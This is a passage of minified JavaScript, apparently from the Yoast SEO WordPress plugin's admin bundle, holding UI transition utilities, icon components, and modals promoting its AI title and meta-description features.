))),Wt.actions,Wt.reducer;const Yt=window.wp.apiFetch;var Gt=s.n(Yt);const Kt="request",Zt="success",Jt="error",Qt="idle",Xt="loading",es="success",ts="error",ss="showPlay",rs="askPermission",as="isPlaying",os="wistiaEmbedPermission",ns=(0,Tt.createSlice)({name:os,initialState:{value:!1,status:Qt,error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${os}/${Kt}`,(e=>{e.status=Xt})),e.addCase(`${os}/${Zt}`,((e,{payload:t})=>{e.status=es,e.value=Boolean(t&&t.value)})),e.addCase(`${os}/${Jt}`,((e,{payload:t})=>{e.status=ts,e.value=Boolean(t&&t.value),e.error={code:(0,le.get)(t,"error.code",500),message:(0,le.get)(t,"error.message","Unknown")}}))}});function is(...e){return e.filter(Boolean).join(" ")}function ls(e,t,...s){if(e in t){let r=t[e];return"function"==typeof r?r(...s):r}let r=new Error(`Tried to handle "${e}" but there is no handler defined. Only defined handlers are: ${Object.keys(t).map((e=>`"${e}"`)).join(", ")}.`);throw Error.captureStackTrace&&Error.captureStackTrace(r,ls),r}ns.getInitialState,ns.actions,ns.reducer;var cs,ds,us=((ds=us||{})[ds.None=0]="None",ds[ds.RenderStrategy=1]="RenderStrategy",ds[ds.Static=2]="Static",ds),ps=((cs=ps||{})[cs.Unmount=0]="Unmount",cs[cs.Hidden=1]="Hidden",cs);function ms({ourProps:e,theirProps:t,slot:s,defaultTag:r,features:a,visible:o=!0,name:n}){let i=hs(t,e);if(o)return fs(i,s,r,n);let l=null!=a?a:0;if(2&l){let{static:e=!1,...t}=i;if(e)return fs(t,s,r,n)}if(1&l){let{unmount:e=!0,...t}=i;return ls(e?0:1,{0:()=>null,1:()=>fs({...t,hidden:!0,style:{display:"none"}},s,r,n)})}return fs(i,s,r,n)}function fs(t,s={},r,a){var o;let{as:n=r,children:i,refName:l="ref",...c}=ws(t,["unmount","static"]),d=void 0!==t.ref?{[l]:t.ref}:{},u="function"==typeof i?i(s):i;c.className&&"function"==typeof c.className&&(c.className=c.className(s));let p={};if(s){let e=!1,t=[];for(let[r,a]of Object.entries(s))"boolean"==typeof a&&(e=!0),!0===a&&t.push(r);e&&(p["data-headlessui-state"]=t.join(" "))}if(n===e.Fragment&&Object.keys(_s(c)).length>0){if(!(0,e.isValidElement)(u)||Array.isArray(u)&&u.length>1)throw new Error(['Passing props on "Fragment"!',"",`The current component <${a} /> is rendering a "Fragment".`,"However we need to passthrough the following props:",Object.keys(c).map((e=>`  - ${e}`)).join("\n"),"","You can apply a few solutions:",['Add an `as="..."` prop, to ensure that we render an actual element instead of a "Fragment".',"Render a single element as the child so that we can forward the props onto that element."].map((e=>`  - ${e}`)).join("\n")].join("\n"));let t=is(null==(o=u.props)?void 0:o.className,c.className),s=t?{className:t}:{};return(0,e.cloneElement)(u,Object.assign({},hs(u.props,_s(ws(c,["ref"]))),p,d,function(...e){return{ref:e.every((e=>null==e))?void 0:t=>{for(let s of e)null!=s&&("function"==typeof s?s(t):s.current=t)}}}(u.ref,d.ref),s))}return(0,e.createElement)(n,Object.assign({},ws(c,["ref"]),n!==e.Fragment&&d,n!==e.Fragment&&p),u)}function hs(...e){if(0===e.length)return{};if(1===e.length)return e[0];let t={},s={};for(let r of e)for(let e in r)e.startsWith("on")&&"function"==typeof r[e]?(null!=s[e]||(s[e]=[]),s[e].push(r[e])):t[e]=r[e];if(t.disabled||t["aria-disabled"])return Object.assign(t,Object.fromEntries(Object.keys(s).map((e=>[e,void 0]))));for(let e in s)Object.assign(t,{[e](t,...r){let a=s[e];for(let e of a){if((t instanceof Event||(null==t?void 0:t.nativeEvent)instanceof Event)&&t.defaultPrevented)return;e(t,...r)}}});return t}function ys(t){var s;return Object.assign((0,e.forwardRef)(t),{displayName:null!=(s=t.displayName)?s:t.name})}function _s(e){let t=Object.assign({},e);for(let e in t)void 0===t[e]&&delete t[e];return t}function ws(e,t=[]){let s=Object.assign({},e);for(let e of t)e in s&&delete s[e];return s}let gs=(0,e.createContext)(null);gs.displayName="OpenClosedContext";var bs=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(bs||{});function vs(){return(0,e.useContext)(gs)}function Es({value:t,children:s}){return e.createElement(gs.Provider,{value:t},s)}var xs=Object.defineProperty,ks=(e,t,s)=>(((e,t,s)=>{t in e?xs(e,t,{enumerable:!0,configurable:!0,writable:!0,value:s}):e[t]=s})(e,"symbol"!=typeof t?t+"":t,s),s);let Ss=new class{constructor(){ks(this,"current",this.detect()),ks(this,"handoffState","pending"),ks(this,"currentId",0)}set(e){this.current!==e&&(this.handoffState="pending",this.currentId=0,this.current=e)}reset(){this.set(this.detect())}nextId(){return++this.currentId}get isServer(){return"server"===this.current}get isClient(){return"client"===this.current}detect(){return"undefined"==typeof window||"undefined"==typeof document?"server":"client"}handoff(){"pending"===this.handoffState&&(this.handoffState="complete")}get isHandoffComplete(){return"complete"===this.handoffState}},Ls=(t,s)=>{Ss.isServer?(0,e.useEffect)(t,s):(0,e.useLayoutEffect)(t,s)};function Ts(){let t=(0,e.useRef)(!1);return Ls((()=>(t.current=!0,()=>{t.current=!1})),[]),t}function Fs(t){let s=(0,e.useRef)(t);return Ls((()=>{s.current=t}),[t]),s}function $s(){let[t,s]=(0,e.useState)(Ss.isHandoffComplete);return t&&!1===Ss.isHandoffComplete&&s(!1),(0,e.useEffect)((()=>{!0!==t&&s(!0)}),[t]),(0,e.useEffect)((()=>Ss.handoff()),[]),t}let Ps=function(t){let s=Fs(t);return e.useCallback(((...e)=>s.current(...e)),[s])},Rs=Symbol();function Ns(...t){let s=(0,e.useRef)(t);(0,e.useEffect)((()=>{s.current=t}),[t]);let r=Ps((e=>{for(let t of s.current)null!=t&&("function"==typeof t?t(e):t.current=e)}));return t.every((e=>null==e||(null==e?void 0:e[Rs])))?void 0:r}function Is(){let e=[],t=[],s={enqueue(e){t.push(e)},addEventListener:(e,t,r,a)=>(e.addEventListener(t,r,a),s.add((()=>e.removeEventListener(t,r,a)))),requestAnimationFrame(...e){let t=requestAnimationFrame(...e);return s.add((()=>cancelAnimationFrame(t)))},nextFrame:(...e)=>s.requestAnimationFrame((()=>s.requestAnimationFrame(...e))),setTimeout(...e){let t=setTimeout(...e);return s.add((()=>clearTimeout(t)))},microTask(...e){let t={current:!0};return function(e){"function"==typeof queueMicrotask?queueMicrotask(e):Promise.resolve().then(e).catch((e=>setTimeout((()=>{throw e}))))}((()=>{t.current&&e[0]()})),s.add((()=>{t.current=!1}))},add:t=>(e.push(t),()=>{let s=e.indexOf(t);if(s>=0){let[t]=e.splice(s,1);t()}}),dispose(){for(let t of e.splice(0))t()},async workQueue(){for(let e of t.splice(0))await e()}};return s}function Os(e,...t){e&&t.length>0&&e.classList.add(...t)}function Cs(e,...t){e&&t.length>0&&e.classList.remove(...t)}function As(){let[t]=(0,e.useState)(Is);return(0,e.useEffect)((()=>()=>t.dispose()),[t]),t}function Ms({container:e,direction:t,classes:s,onStart:r,onStop:a}){let o=Ts(),n=As(),i=Fs(t);Ls((()=>{let t=Is();n.add(t.dispose);let l=e.current;if(l&&"idle"!==i.current&&o.current)return t.dispose(),r.current(i.current),t.add(function(e,t,s,r){let a=s?"enter":"leave",o=Is(),n=void 0!==r?function(e){let t={called:!1};return(...s)=>{if(!t.called)return t.called=!0,e(...s)}}(r):()=>{};"enter"===a&&(e.removeAttribute("hidden"),e.style.display="");let i=ls(a,{enter:()=>t.enter,leave:()=>t.leave}),l=ls(a,{enter:()=>t.enterTo,leave:()=>t.leaveTo}),c=ls(a,{enter:()=>t.enterFrom,leave:()=>t.leaveFrom});return Cs(e,...t.enter,...t.enterTo,...t.enterFrom,...t.leave,...t.leaveFrom,...t.leaveTo,...t.entered),Os(e,...i,...c),o.nextFrame((()=>{Cs(e,...c),Os(e,...l),function(e,t){let s=Is();if(!e)return s.dispose;let{transitionDuration:r,transitionDelay:a}=getComputedStyle(e),[o,n]=[r,a].map((e=>{let[t=0]=e.split(",").filter(Boolean).map((e=>e.includes("ms")?parseFloat(e):1e3*parseFloat(e))).sort(((e,t)=>t-e));return t}));if(o+n!==0){let r=s.addEventListener(e,"transitionend",(e=>{e.target===e.currentTarget&&(t(),r())}))}else t();s.add((()=>t())),s.dispose}(e,(()=>(Cs(e,...i),Os(e,...t.entered),n())))})),o.dispose}(l,s.current,"enter"===i.current,(()=>{t.dispose(),a.current(i.current)}))),t.dispose}),[t])}function Ds(e=""){return e.split(" ").filter((e=>e.trim().length>1))}let Bs=(0,e.createContext)(null);Bs.displayName="TransitionContext";var Us=(e=>(e.Visible="visible",e.Hidden="hidden",e))(Us||{});let Vs=(0,e.createContext)(null);function js(e){return"children"in e?js(e.children):e.current.filter((({el:e})=>null!==e.current)).filter((({state:e})=>"visible"===e)).length>0}function zs(t,s){let r=Fs(t),a=(0,e.useRef)([]),o=Ts(),n=As(),i=Ps(((e,t=ps.Hidden)=>{let s=a.current.findIndex((({el:t})=>t===e));-1!==s&&(ls(t,{[ps.Unmount](){a.current.splice(s,1)},[ps.Hidden](){a.current[s].state="hidden"}}),n.microTask((()=>{var e;!js(a)&&o.current&&(null==(e=r.current)||e.call(r))})))})),l=Ps((e=>{let t=a.current.find((({el:t})=>t===e));return t?"visible"!==t.state&&(t.state="visible"):a.current.push({el:e,state:"visible"}),()=>i(e,ps.Unmount)})),c=(0,e.useRef)([]),d=(0,e.useRef)(Promise.resolve()),u=(0,e.useRef)({enter:[],leave:[],idle:[]}),p=Ps(((e,t,r)=>{c.current.splice(0),s&&(s.chains.current[t]=s.chains.current[t].filter((([t])=>t!==e))),null==s||s.chains.current[t].push([e,new Promise((e=>{c.current.push(e)}))]),null==s||s.chains.current[t].push([e,new Promise((e=>{Promise.all(u.current[t].map((([e,t])=>t))).then((()=>e()))}))]),"enter"===t?d.current=d.current.then((()=>null==s?void 0:s.wait.current)).then((()=>r(t))):r(t)})),m=Ps(((e,t,s)=>{Promise.all(u.current[t].splice(0).map((([e,t])=>t))).then((()=>{var e;null==(e=c.current.shift())||e()})).then((()=>s(t)))}));return(0,e.useMemo)((()=>({children:a,register:l,unregister:i,onStart:p,onStop:m,wait:d,chains:u})),[l,i,a,p,m,u,d])}function qs(){}Vs.displayName="NestingContext";let Ws=["beforeEnter","afterEnter","beforeLeave","afterLeave"];function Hs(e){var t;let s={};for(let r of Ws)s[r]=null!=(t=e[r])?t:qs;return s}let Ys=us.RenderStrategy,Gs=ys((function(t,s){let{beforeEnter:r,afterEnter:a,beforeLeave:o,afterLeave:n,enter:i,enterFrom:l,enterTo:c,entered:d,leave:u,leaveFrom:p,leaveTo:m,...f}=t,h=(0,e.useRef)(null),y=Ns(h,s),_=f.unmount?ps.Unmount:ps.Hidden,{show:w,appear:g,initial:b}=function(){let t=(0,e.useContext)(Bs);if(null===t)throw new Error("A <Transition.Child /> is used but it is missing a parent <Transition /> or <Transition.Root />.");return t}(),[v,E]=(0,e.useState)(w?"visible":"hidden"),x=function(){let t=(0,e.useContext)(Vs);if(null===t)throw new Error("A <Transition.Child /> is used but it is missing a parent <Transition /> or <Transition.Root />.");return t}(),{register:k,unregister:S}=x,L=(0,e.useRef)(null);(0,e.useEffect)((()=>k(h)),[k,h]),(0,e.useEffect)((()=>{if(_===ps.Hidden&&h.current)return w&&"visible"!==v?void E("visible"):ls(v,{hidden:()=>S(h),visible:()=>k(h)})}),[v,h,k,S,w,_]);let T=Fs({enter:Ds(i),enterFrom:Ds(l),enterTo:Ds(c),entered:Ds(d),leave:Ds(u),leaveFrom:Ds(p),leaveTo:Ds(m)}),F=function(t){let s=(0,e.useRef)(Hs(t));return(0,e.useEffect)((()=>{s.current=Hs(t)}),[t]),s}({beforeEnter:r,afterEnter:a,beforeLeave:o,afterLeave:n}),$=$s();(0,e.useEffect)((()=>{if($&&"visible"===v&&null===h.current)throw new Error("Did you forget to passthrough the `ref` to the actual DOM node?")}),[h,v,$]);let P=b&&!g,R=!$||P||L.current===w?"idle":w?"enter":"leave",N=Ps((e=>ls(e,{enter:()=>F.current.beforeEnter(),leave:()=>F.current.beforeLeave(),idle:()=>{}}))),I=Ps((e=>ls(e,{enter:()=>F.current.afterEnter(),leave:()=>F.current.afterLeave(),idle:()=>{}}))),O=zs((()=>{E("hidden"),S(h)}),x);Ms({container:h,classes:T,direction:R,onStart:Fs((e=>{O.onStart(h,e,N)})),onStop:Fs((e=>{O.onStop(h,e,I),"leave"===e&&!js(O)&&(E("hidden"),S(h))}))}),(0,e.useEffect)((()=>{!P||(_===ps.Hidden?L.current=null:L.current=w)}),[w,P,v]);let C=f,A={ref:y};return g&&w&&Ss.isServer&&(C={...C,className:is(f.className,...T.current.enter,...T.current.enterFrom)}),e.createElement(Vs.Provider,{value:O},e.createElement(Es,{value:ls(v,{visible:bs.Open,hidden:bs.Closed})},ms({ourProps:A,theirProps:C,defaultTag:"div",features:Ys,visible:"visible"===v,name:"Transition.Child"})))})),Ks=ys((function(t,s){let{show:r,appear:a=!1,unmount:o,...n}=t,i=(0,e.useRef)(null),l=Ns(i,s);$s();let c=vs();if(void 0===r&&null!==c&&(r=ls(c,{[bs.Open]:!0,[bs.Closed]:!1})),![!0,!1].includes(r))throw new Error("A <Transition /> is used but it is missing a `show={true | false}` prop.");let[d,u]=(0,e.useState)(r?"visible":"hidden"),p=zs((()=>{u("hidden")})),[m,f]=(0,e.useState)(!0),h=(0,e.useRef)([r]);Ls((()=>{!1!==m&&h.current[h.current.length-1]!==r&&(h.current.push(r),f(!1))}),[h,r]);let y=(0,e.useMemo)((()=>({show:r,appear:a,initial:m})),[r,a,m]);(0,e.useEffect)((()=>{if(r)u("visible");else if(js(p)){let e=i.current;if(!e)return;let t=e.getBoundingClientRect();0===t.x&&0===t.y&&0===t.width&&0===t.height&&u("hidden")}else u("hidden")}),[r,p]);let _={unmount:o};return e.createElement(Vs.Provider,{value:p},e.createElement(Bs.Provider,{value:y},ms({ourProps:{..._,as:e.Fragment,children:e.createElement(Gs,{ref:l,..._,...n})},theirProps:{},defaultTag:e.Fragment,features:Ys,visible:"visible"===d,name:"Transition"})))})),Zs=ys((function(t,s){let r=null!==(0,e.useContext)(Bs),a=null!==vs();return e.createElement(e.Fragment,null,!r&&a?e.createElement(Ks,{ref:s,...t}):e.createElement(Gs,{ref:s,...t}))})),Js=Object.assign(Ks,{Child:Zs,Root:Ks});const Qs=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"}))})),Xs=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 20H5a2 2 0 01-2-2V6a2 2 0 012-2h10a2 2 0 012 2v1m2 13a2 2 0 01-2-2V7m2 13a2 2 0 002-2V9a2 2 0 00-2-2h-2m-4-3H9M7 16h6M7 8h6v4H7V8z"}))})),er=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 21a4 4 0 01-4-4V5a2 2 0 012-2h4a2 2 0 012 2v12a4 4 0 01-4 4zm0 0h12a2 2 0 002-2v-4a2 2 0 00-2-2h-2.343M11 7.343l1.657-1.657a2 2 0 012.828 0l2.829 2.829a2 2 0 010 2.828l-8.486 8.485M7 17h.01"}))})),tr=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 6V4m0 2a2 2 0 100 4m0-4a2 2 0 110 4m-6 8a2 2 0 100-4m0 4a2 2 0 110-4m0 4v2m0-6V4m6 6v10m6-2a2 2 0 100-4m0 4a2 2 0 110-4m0 4v2m0-6V4"}))})),sr=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{fillRule:"evenodd",d:"M14.707 12.707a1 1 0 01-1.414 0L10 9.414l-3.293 3.293a1 1 0 01-1.414-1.414l4-4a1 1 0 011.414 0l4 4a1 1 0 010 1.414z",clipRule:"evenodd"}))})),rr=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{fillRule:"evenodd",d:"M5.293 7.293a1 1 0 011.414 0L10 10.586l3.293-3.293a1 1 0 111.414 1.414l-4 4a1 1 0 01-1.414 0l-4-4a1 1 0 010-1.414z",clipRule:"evenodd"}))}));var ar=s(4530),or=s.n(ar),nr=s(5890),ir=s.n(nr);const lr=({link:t})=>{const s=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands to "Yoast SEO" academy, which is a clickable link. */
(0,Lt.__)("Want to learn SEO from Team Yoast? Check out our %1$s!","wordpress-seo"),"<link/>"),{link:(0,e.createElement)("a",{href:t,target:"_blank",rel:"noopener"},"Yoast SEO academy")})),[]);return(0,e.createElement)(l.Paper,{as:"div",className:"yst-p-6 yst-space-y-3"},(0,e.createElement)(l.Title,{as:"h2",size:"4",className:"yst-text-base yst-text-primary-500"},(0,Lt.__)("Learn SEO","wordpress-seo")),(0,e.createElement)("p",null,s,(0,e.createElement)("br",null),(0,Lt.__)("We have both free and premium online courses to learn everything you need to know about SEO.","wordpress-seo")),(0,e.createElement)(l.Link,{href:t,className:"yst-block",target:"_blank",rel:"noopener"},(0,Lt.sprintf)(/* translators: %1$s expands to "Yoast SEO academy". */
(0,Lt.__)("Check out %1$s","wordpress-seo"),"Yoast SEO academy")))};lr.propTypes={link:ir().string.isRequired};const cr=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),dr=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),ur=({learnMoreLink:t,thumbnail:s,wistiaEmbedPermission:r,upsellLink:a,isProductCopy:o,title:n,upsellLabel:c,newToText:d,bundleNote:u})=>{const{onClose:p,initialFocus:m}=(0,l.useModalContext)(),f={a:(0,e.createElement)(Er,{href:t,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,e.createElement)(dr,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,e.createElement)("div",{className:"yst-relative yst-w-full"},(0,e.createElement)(Gr,{videoId:"vmrahpfjxp",thumbnail:s,wistiaEmbedPermission:r}),(0,e.createElement)(l.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,e.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,e.createElement)("span",{className:"yst-logo-icon"}),d))),(0,e.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,e.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},n),(0,e.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},o?(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,Lt.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),f):(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,Lt.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),f))),(0,e.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,e.createElement)(l.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:a,target:"_blank",ref:m},(0,e.createElement)(cr,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),c,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,Lt.__)("(Opens in a new browser tab)","wordpress-seo")))),u,(0,e.createElement)(l.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:p},(0,Lt.__)("Close","wordpress-seo"))))};ur.propTypes={learnMoreLink:ir().string.isRequired,upsellLink:ir().string.isRequired,thumbnail:ir().shape({src:ir().string.isRequired,width:ir().string,height:ir().string}).isRequired,wistiaEmbedPermission:ir().shape({value:ir().bool.isRequired,status:ir().string.isRequired,set:ir().func.isRequired}).isRequired,title:ir().string,upsellLabel:ir().string,newToText:ir().string,isProductCopy:ir().bool,bundleNote:ir().oneOfType([ir().string,ir().element])},ur.defaultProps={title:(0,Lt.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,Lt.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const pr=({learnMoreLink:t,thumbnail:s,wistiaEmbedPermission:r,upsellLink:a,upsellLabel:o})=>{const{onClose:n,initialFocus:c}=(0,l.useModalContext)(),d={a:(0,e.createElement)(Er,{href:t,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,e.createElement)(dr,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,e.createElement)("br",null)};return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,e.createElement)("div",{className:"yst-relative yst-w-full"},(0,e.createElement)(Gr,{videoId:"vun9z1dpfh",thumbnail:s,wistiaEmbedPermission:r}),(0,e.createElement)(l.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,Lt.__)("Beta","wordpress-seo-premium"))),(0,e.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,e.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,e.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,e.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,Lt.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,Lt.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,e.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,Lt.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),d))),(0,e.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,e.createElement)(l.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:a,target:"_blank",ref:c},(0,e.createElement)(cr,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),o,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,Lt.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,e.createElement)(l.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:n},(0,Lt.__)("Close","wordpress-seo"))))};pr.propTypes={learnMoreLink:ir().string.isRequired,upsellLink:ir().string.isRequired,thumbnail:ir().shape({src:ir().string.isRequired,width:ir().string,height:ir().string}).isRequired,wistiaEmbedPermission:ir().shape({value:ir().bool.isRequired,status:ir().string.isRequired,set:ir().func.isRequired}).isRequired,upsellLabel:ir().string},pr.defaultProps={upsellLabel:(0,Lt.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const mr=({handleRefreshClick:t,supportLink:s})=>(0,e.createElement)("div",{className:"yst-flex yst-gap-2"},(0,e.createElement)(l.Button,{onClick:t},(0,Lt.__)("Refresh this page","wordpress-seo")),(0,e.createElement)(l.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,Lt.__)("Contact support","wordpress-seo")));mr.propTypes={handleRefreshClick:ir().func.isRequired,supportLink:ir().string.isRequired};const fr=({handleRefreshClick:t,supportLink:s})=>(0,e.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,e.createElement)(l.Button,{className:"yst-order-last",onClick:t},(0,Lt.__)("Refresh this page","wordpress-seo")),(0,e.createElement)(l.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,Lt.__)("Contact support","wordpress-seo")));fr.propTypes={handleRefreshClick:ir().func.isRequired,supportLink:ir().string.isRequired};const hr=({error:t,children:s})=>(0,e.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,e.createElement)(l.Title,null,(0,Lt.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,e.createElement)("p",null,(0,Lt.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,e.createElement)(l.Alert,{variant:"error"},(null==t?void 0:t.message)||(0,Lt.__)("Undefined error message.","wordpress-seo")),(0,e.createElement)("p",null,(0,Lt.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),s);hr.propTypes={error:ir().object.isRequired,children:ir().node},hr.VerticalButtons=fr,hr.HorizontalButtons=mr;const yr={variant:{lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}},_r=({id:t,children:s,title:r,description:a=null,variant:o="2xl"})=>(0,e.createElement)("section",{id:t,className:yr.variant[o].grid},(0,e.createElement)("div",{className:yr.variant[o].col1},(0,e.createElement)("div",{className:"yst-max-w-screen-sm"},(0,e.createElement)(l.Title,{as:"h2",size:"4"},r),a&&(0,e.createElement)("p",{className:"yst-mt-2"},a))),(0,e.createElement)("fieldset",{className:`yst-min-w-0 yst-mt-8 ${yr.variant[o].col2}`},(0,e.createElement)("legend",{className:"yst-sr-only"},r),(0,e.createElement)("div",{className:"yst-space-y-8"},s)));var wr;function gr(){return gr=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},gr.apply(this,arguments)}_r.propTypes={id:ir().string,children:ir().node.isRequired,title:ir().node.isRequired,description:ir().node,variant:ir().oneOf(Object.keys(yr.variant))};const br=t=>e.createElement("svg",gr({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},t),wr||(wr=e.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 